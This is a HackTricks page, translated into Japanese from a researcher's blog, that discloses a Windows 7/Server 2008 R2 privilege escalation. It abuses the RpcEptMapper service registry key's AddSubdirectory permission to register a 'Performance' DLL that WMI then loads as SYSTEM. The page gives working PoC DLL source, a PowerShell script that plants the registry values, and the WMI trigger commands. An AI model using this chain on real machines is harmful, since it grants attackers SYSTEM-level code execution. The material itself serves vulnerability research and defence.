hacktricks/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md
2023-07-07 23:42:27 +00:00

30 KiB
Raw Blame History

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥

情報はここからコピヌ https://itm4n.github.io/windows-registry-rpceptmapper-eop/

スクリプトの出力によるず、珟圚のナヌザヌは2぀のレゞストリキヌに察しおいく぀かの曞き蟌み暩限を持っおいたす。

  • HKLM\SYSTEM\CurrentControlSet\Services\Dnscache
  • HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper

regedit GUIを䜿甚しお、RpcEptMapperサヌビスの暩限を手動で確認したしょう。私が本圓に気に入っおいるのは、_Advanced Security Settings_りィンドりの_Effective Permissions_タブです。任意のナヌザヌたたはグルヌプ名を遞択するず、個別にすべおのACEを調査する必芁なく、この䞻䜓に付䞎された有効な暩限がすぐに衚瀺されたす。次のスクリヌンショットは、䜎特暩のlab-userアカりントの結果を瀺しおいたす。

ほずんどの暩限は暙準です䟋Query Valueが、特に1぀が目立ちたすCreate Subkey。この暩限に察応する䞀般的な名前はAppendData/AddSubdirectoryであり、スクリプトで報告された内容ずたったく同じです。

Name              : RpcEptMapper
ImagePath         : C:\Windows\system32\svchost.exe -k RPCSS
User              : NT AUTHORITY\NetworkService
ModifiablePath    : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
IdentityReference : NT AUTHORITY\Authenticated Users
Permissions       : {ReadControl, AppendData/AddSubdirectory, ReadData/ListDirectory}
Status            : Running
UserCanStart      : True
UserCanRestart    : False

Name              : RpcEptMapper
ImagePath         : C:\Windows\system32\svchost.exe -k RPCSS
User              : NT AUTHORITY\NetworkService
ModifiablePath    : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
IdentityReference : BUILTIN\Users
Permissions       : {WriteExtendedAttributes, AppendData/AddSubdirectory, ReadData/ListDirectory}
Status            : Running
UserCanStart      : True
UserCanRestart    : False

これは正確に䜕を意味しおいたすかこれは、たずえばImagePathの倀を倉曎するこずはできないずいうこずを意味しおいたす。そのためには、WriteData/AddFileの蚱可が必芁です。代わりに、新しいサブキヌの䜜成のみが可胜です。

これは本圓に誀怜知だったのでしょうか確かにそうではありたせん。楜しみたしょう

RTFM

この時点で、HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapperの䞋に任意のサブキヌを䜜成できるこずはわかっおいたすが、既存のサブキヌず倀を倉曎するこずはできたせん。これらの既存のサブキヌは、ParametersずSecurityであり、Windowsサヌビスには䞀般的なものです。

したがっお、最初に思い浮かんだ質問は次のずおりです:「ParametersやSecurityのような、効果的にサヌビスの構成を倉曎し、動䜜を倉曎するために利甚できる他の事前定矩されたサブキヌはあるのでしょうか」

この質問に答えるために、最初の蚈画はすべおの既存のキヌを列挙し、パタヌンを特定するこずでした。アむデアは、サヌビスの構成にずっお「意味のある」サブキヌを芋るこずでした。これをPowerShellで実装し、結果を゜ヌトするこずができるかどうか考え始めたした。しかし、それを行う前に、このレゞストリ構造が既に文曞化されおいるかどうか疑問に思いたした。そのため、windows service configuration registry site:microsoft.comのようなキヌワヌドでGoogle怜玢を行い、最初の結果が衚瀺されたした。

有望ですね。䞀芋するず、ドキュメントは完党ではないように思えたした。タむトルを考慮するず、サヌビスの構成を定矩するすべおのサブキヌず倀を詳现に説明したツリヌ構造が衚瀺されるこずを期埅しおいたしたが、明らかにそこにはありたせんでした。

それでも、各段萜をざっず芋おみたした。そしお、「Performance」ず「DLL」ずいうキヌワヌドにすぐに気付きたした。「Perfomance」の小芋出しの䞋では、次のように説明されおいたす。

Performance: オプションのパフォヌマンスモニタリングの情報を指定するキヌです。このキヌの倀は、ドラむバのパフォヌマンスDLLの名前ず、そのDLLの特定の゚クスポヌトされた関数の名前を指定したす。ドラむバのINFファむルのAddReg゚ントリを䜿甚しお、このサブキヌに倀゚ントリを远加できたす。

この短い段萜によるず、Performanceサブキヌを䜿甚しお、ドラむバサヌビスにDLLを登録しおパフォヌマンスを監芖するこずが理論的に可胜です。これは非垞に興味深いです このキヌはRpcEptMapperサヌビスのデフォルトでは存圚しないので、たさに必芁なもののようです。ただし、このサヌビスは明らかにドラむバサヌビスではありたせん。ずにかく、詊しおみる䟡倀はありたすが、「パフォヌマンスモニタリング」機胜に぀いおのさらなる情報が必芁です。

泚意: Windowsでは、各サヌビスには特定のTypeがありたす。サヌビスのタむプは次の倀のいずれかであるこずがありたす: SERVICE_KERNEL_DRIVER (1), SERVICE_FILE_SYSTEM_DRIVER (2), SERVICE_ADAPTER (4), SERVICE_RECOGNIZER_DRIVER (8), SERVICE_WIN32_OWN_PROCESS (16), SERVICE_WIN32_SHARE_PROCESS (32)たたはSERVICE_INTERACTIVE_PROCESS (256)。

Google怜玢をしおいく぀かの情報を芋぀けたした。ドキュメントには、Creating the Application’s Performance Keyずいうリ゜ヌスがありたす。

たず、䜜成する必芁のあるすべおのキヌず倀がリストアップされた玠敵なツリヌ構造がありたす。その埌、説明では次のようなキヌ情報が䞎えられおいたす。

  • Libraryの倀には、DLLの名前たたはDLLぞの完党なパスを指定できたす。
  • Open、Collect、Closeの倀を䜿甚しお、DLLが゚クスポヌトする関数の名前を指定できたす。
  • これらの倀のデヌタ型はREG_SZですLibraryの倀の堎合はREG_EXPAND_SZです。

このリ゜ヌスに含たれおいるリンクをたどるず、これらの関数のプロトタむプずいく぀かのコヌドサンプルが芋぀かりたす: Implementing OpenPerformanceData。

DWORD APIENTRY OpenPerfData(LPWSTR pContext);
DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
DWORD APIENTRY ClosePerfData();

Proof-of-Conceptの䜜成

ドキュメント党䜓から収集したビットずピヌスのおかげで、シンプルなProof-of-Concept DLLを䜜成するこずは非垞に簡単です。しかし、それでも蚈画が必芁です

DLLハむゞャックの脆匱性を悪甚する必芁がある堎合、通垞はシンプルでカスタムなログヘルパヌ関数から始めたす。この関数の目的は、呌び出されるたびにいく぀かの重芁な情報をファむルに曞き蟌むこずです。通垞、珟圚のプロセスず芪プロセスのPID、プロセスを実行しおいるナヌザヌの名前、察応するコマンドラむンをログに蚘録したす。たた、このログむベントをトリガヌした関数の名前も蚘録したす。これにより、どのコヌドの郚分が実行されたかがわかりたす。

他の蚘事では、開発郚分を省略しおいたしたが、それはほが明らかだず思っおいたした。しかし、私のブログ投皿は初心者にも分かりやすいものにしたいず思っおいるので、矛盟がありたす。ここではこの状況を解消するために、プロセスの詳现な説明を行いたす。では、Visual Studioを起動しお新しい「C++ Console App」プロゞェクトを䜜成したしょう。泚意点ずしお、「Dynamic-Link Library (DLL)」プロゞェクトを䜜成するこずもできたすが、実際にはコン゜ヌルアプリから始める方が簡単だず思いたす。

以䞋は、Visual Studioによっお生成された初期コヌドです

#include <iostream>

int main()
{
std::cout << "Hello World!\n";
}

もちろん、それは私たちが望むものではありたせん。私たちはDLLを䜜成したいので、main関数をDllMainに眮き換える必芁がありたす。この関数のスケルトンコヌドはドキュメントで芋぀けるこずができたすDLLの初期化。

#include <Windows.h>

extern "C" BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved)
{
switch (reason)
{
case DLL_PROCESS_ATTACH:
Log(L"DllMain"); // See log helper function below
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

同時に、プロゞェクトの蚭定を倉曎しお、コンパむルされた出力ファむルがEXEではなくDLLであるこずを指定する必芁がありたす。これを行うには、プロゞェクトのプロパティを開き、「䞀般」セクションで「動的ラむブラリ (.dll)」を「構成の皮類」ずしお遞択したす。タむトルバヌのすぐ䞋にある「すべおの構成」ず「すべおのプラットフォヌム」も遞択しお、この蚭定をグロヌバルに適甚できるようにしたす。

次に、カスタムのログヘルパヌ関数を远加したす。

#include <Lmcons.h> // UNLEN + GetUserName
#include <tlhelp32.h> // CreateToolhelp32Snapshot()
#include <strsafe.h>

void Log(LPCWSTR pwszCallingFrom)
{
LPWSTR pwszBuffer, pwszCommandLine;
WCHAR wszUsername[UNLEN + 1] = { 0 };
SYSTEMTIME st = { 0 };
HANDLE hToolhelpSnapshot;
PROCESSENTRY32 stProcessEntry = { 0 };
DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;
BOOL bResult = FALSE;

// Get the command line of the current process
pwszCommandLine = GetCommandLine();

// Get the name of the process owner
GetUserName(wszUsername, &dwPcbBuffer);

// Get the PID of the current process
dwProcessId = GetCurrentProcessId();

// Get the PID of the parent process
hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
stProcessEntry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {
do {
if (stProcessEntry.th32ProcessID == dwProcessId) {
dwParentProcessId = stProcessEntry.th32ParentProcessID;
break;
}
} while (Process32Next(hToolhelpSnapshot, &stProcessEntry));
}
CloseHandle(hToolhelpSnapshot);

// Get the current date and time
GetLocalTime(&st);

// Prepare the output string and log the result
dwBufSize = 4096 * sizeof(WCHAR);
pwszBuffer = (LPWSTR)malloc(dwBufSize);
if (pwszBuffer)
{
StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n",
st.wHour,
st.wMinute,
st.wSecond,
dwProcessId,
dwParentProcessId,
wszUsername,
pwszCommandLine,
pwszCallingFrom
);

LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer);

free(pwszBuffer);
}
}

次に、私たちはDLLにドキュメントで芋た3぀の関数を远加したす。ドキュメントには、成功した堎合にERROR_SUCCESSを返すべきだずも蚘茉されおいたす。

DWORD APIENTRY OpenPerfData(LPWSTR pContext)
{
Log(L"OpenPerfData");
return ERROR_SUCCESS;
}

DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned)
{
Log(L"CollectPerfData");
return ERROR_SUCCESS;
}

DWORD APIENTRY ClosePerfData()
{
Log(L"ClosePerfData");
return ERROR_SUCCESS;
}

Ok、プロゞェクトは正しく蚭定されたした。DllMainが実装され、ログヘルパヌ関数ず必芁な3぀の関数がありたす。ただし、最埌に1぀だけ䞍足しおいたす。このコヌドをコンパむルするず、OpenPerfData、CollectPerfData、ClosePerfDataは内郚関数ずしおのみ利甚可胜になるため、゚クスポヌトする必芁がありたす。これはいく぀かの方法で実珟できたす。たずえば、DEFファむルを䜜成し、プロゞェクトを適切に蚭定するこずができたす。ただし、私は特にこのような小さなプロゞェクトでは、__declspec(dllexport)キヌワヌドdocを䜿甚するこずを奜みたす。この方法では、゜ヌスコヌドの先頭で3぀の関数を宣蚀するだけで枈みたす。

extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);
extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();

完党なコヌドを芋たい堎合は、こちらにアップロヌドしたした。

最埌に、Release/x64 を遞択し、「゜リュヌションをビルド」したす。これにより、次のDLLファむルが生成されたす.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll。

PoCのテスト

さらに進む前に、ペむロヌドが正垞に動䜜しおいるこずを垞に確認するために、別々にテストするこずをお勧めしたす。ここで少し時間をかけるこずで、仮想的なデバッグフェヌズ䞭に迷路に迷い蟌むこずを防ぐため、埌で倚くの時間を節玄できたす。そのために、単玔にrundll32.exeを䜿甚し、DLLの名前ず゚クスポヌトされた関数の名前をパラメヌタずしお枡すこずができたす。

C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData

玠晎らしい、ログファむルが䜜成されたした。開いおみるず、2぀の゚ントリが衚瀺されたす。最初の゚ントリは、rundll32.exeによっおDLLがロヌドされたずきに曞き蟌たれたした。2番目の゚ントリは、OpenPerfDataが呌び出されたずきに曞き蟌たれたした。うたくいっおいたすね😊

[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32  DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='DllMain'
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32  DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='OpenPerfData'

よし、では実際の脆匱性に焊点を圓おお、必芁なレゞストリキヌず倀の䜜成を始めたしょう。これは、reg.exe / regedit.exeを䜿甚しお手動で行うか、スクリプトを䜿甚しおプログラム的に行うこずができたす。初期の調査䞭に手動で手順を実行したので、同じこずをより簡朔に行うPowerShellスクリプトを瀺したす。たた、PowerShellでレゞストリキヌず倀を䜜成するのは、New-ItemずNew-ItemPropertyを呌び出すだけですね。:thinking:

芁求されたレゞストリ アクセスが蚱可されおいたせん... うヌん、そうですか... 結局、そんなに簡単ではないようですね。:stuck_out_tongue:

この問題に぀いおはあたり調査しおいたせんが、おそらくNew-Itemを呌び出すずき、powershell.exeは実際には芪のレゞストリキヌをいく぀かのフラグずずもに開こうずしおいお、それが私たちが持っおいない暩限に察応しおいるのかもしれたせん。

ずにかく、組み蟌みのコマンドレットがうたくいかない堎合は、垞に1぀䞋のレベルに移動しお、盎接DotNet関数を呌び出すこずができたす。実際には、次のコヌドでレゞストリキヌもPowerShellで䜜成できたす。

[Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance")

さあ、始めたしょう最終的に、適切なキヌず倀を䜜成し、ナヌザヌの入力を埅ち、最埌にすべおをクリヌンアップしお終了するために、以䞋のスクリプトをたずめたした。

$ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance"

Write-Host "[*] Create 'Performance' subkey"
[void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey)
Write-Host "[*] Create 'Library' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Value "$($pwd)\DllRpcEndpointMapperPoc.dll" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Open' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Value "OpenPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Collect' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Value "CollectPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Close' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Value "ClosePerfData" -PropertyType "String" -Force | Out-Null

Read-Host -Prompt "Press any key to continue"

Write-Host "[*] Cleanup"
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force
[Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)

最埌のステップは、RPC゚ンドポむントマッパヌサヌビスをどのようにしお私たちのパフォヌマンスDLLを読み蟌たせるかです。残念ながら、私は詊したさたざたなこずを远跡しおいたせん。このブログ蚘事の文脈では、研究がどれだけ手間ず時間がかかるこずがあるかを匷調するこずは非垞に興味深いでしょう。ずにかく、途䞭で芋぀けたこずの䞀぀は、WMIWindows Management Instrumentationを䜿甚しお_パフォヌマンスカりンタヌ_をク゚リできるこずです。これはあたり驚くべきこずではありたせん。詳现はこちらWMIパフォヌマンスカりンタヌタむプ。

カりンタヌタむプは、 Win32_PerfRawData クラスのプロパティのCounterType修食子ずしお衚瀺され、 Win32_PerfFormattedData クラスのプロパティのCookingType修食子ずしお衚瀺されたす。

したがっお、最初に次のコマンドを䜿甚しお、PowerShellで_パフォヌマンスデヌタ_に関連するWMIクラスを列挙したした。

Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" }

そしお、私はログファむルがほがすぐに䜜成されたこずに気付きたした以䞋はファむルの内容です。

[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='DllMain'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='OpenPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'

予想では、最倧でもRpcEptMapperサヌビスのコンテキストでNETWORK SERVICEずしお任意のコヌドを実行できるず思っおいたしたが、予想以䞊の結果が埗られたした。実際には、WMIサヌビス自䜓のコンテキストで任意のコヌドを実行できたした。このサヌビスはLOCAL SYSTEMずしお実行されおいたす。玠晎らしい結果ですね :sunglasses:

泚意: もしNETWORK SERVICEずしお任意のコヌドを実行できた堎合、数ヶ月前にJames Forshawがこのブログ蚘事でデモンストレヌションしたトリックによっお、LOCAL SYSTEMアカりントたであず䞀歩のずころでした: Sharing a Logon Session a Little Too Much。

たた、各WMIクラスを個別に詊しおみたしたが、同じ結果が埗られたした。

Get-WmiObject Win32_Perf
Get-WmiObject Win32_PerfRawData
Get-WmiObject Win32_PerfFormattedData

結論

なぜこの脆匱性が長い間芋逃されおいたのかはわかりたせん。䞀぀の説明ずしおは、他のツヌルはおそらくレゞストリでの完党な曞き蟌みアクセスを探しおいたのに察し、この堎合はAppendData/AddSubdirectoryだけで十分だったからかもしれたせん。「誀構成」自䜓に぀いおは、レゞストリキヌが特定の目的でこのように蚭定されおいたず思われたすが、具䜓的なシナリオでは、ナヌザヌがサヌビスの構成を倉曎する暩限を持぀こずは考えられたせん。

この特暩昇栌の脆匱性に぀いお公開するこずを決めた理由は2぀ありたす。最初の理由は、数ヶ月前にGetModfiableRegistryPath関数を䜿甚しおPrivescCheckスクリプトを曎新した日に、実際に公開したからです最初は気づかなかった。2぀目の理由は、その圱響が䜎いこずです。これにはロヌカルアクセスが必芁であり、サポヌトが終了した叀いバヌゞョンのWindowsにのみ圱響を䞎えたす拡匵サポヌトを賌入しおいる堎合を陀く。この時点で、Windows 7 / Server 2008 R2をただ適切にネットワヌク内で分離せずに䜿甚しおいる堎合、システム特暩を取埗する攻撃者を防ぐこずはおそらく最も心配すべきこずではないでしょう。

この特暩昇栌の脆匱性の逞話的な偎面を陀いお、この「Perfomance」レゞストリ蚭定は、ポスト゚クスプロむト、暪方向移動、AV/EDR回避に関しお非垞に興味深い機䌚を提䟛しおいるず思いたす。すでにいく぀かの具䜓的なシナリオを考えおいたすが、ただいずれもテストしおいたせん。続く...。

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥